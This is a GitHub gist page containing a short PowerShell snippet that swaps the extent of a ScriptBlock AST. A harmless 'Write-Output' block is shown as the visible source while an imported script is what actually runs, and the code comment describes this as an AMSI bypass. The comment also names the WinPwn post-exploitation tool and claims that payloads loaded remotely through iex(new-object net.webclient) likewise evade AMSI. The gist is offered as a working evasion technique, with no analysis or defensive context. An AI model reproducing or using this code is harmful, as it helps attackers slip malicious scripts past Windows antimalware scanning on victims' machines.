Skip to content

Instantly share code, notes, and snippets.

@Zab-an

Zab-an/gist:2ce0f16237934f853a85e7689a202f9f

Last active August 26, 2024 14:53
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save Zab-an/2ce0f16237934f853a85e7689a202f9f to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save Zab-an/2ce0f16237934f853a85e7689a202f9f to your computer and use it in GitHub Desktop.
Download ZIP
Raw
gistfile1.txt
$SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast
$ExecutedAst = [ScriptBlock]::Create("Import-Module [CHEMIN DU SCRIPT]").Ast
$Ast = [System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent,
$null,
$null,
$null,
$ExecutedAst.EndBlock.Copy(),
$null)
$Sb = $Ast.GetScriptBlock()
# Any function - such as in this case WinPwn - that you want to be executed must be already called in the Scriptblock on the remote webserver. Fun fact, scripts that are loaded by the Script itself via iex(new-object net.webclient) also bypass AMSI.
& $Sb
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment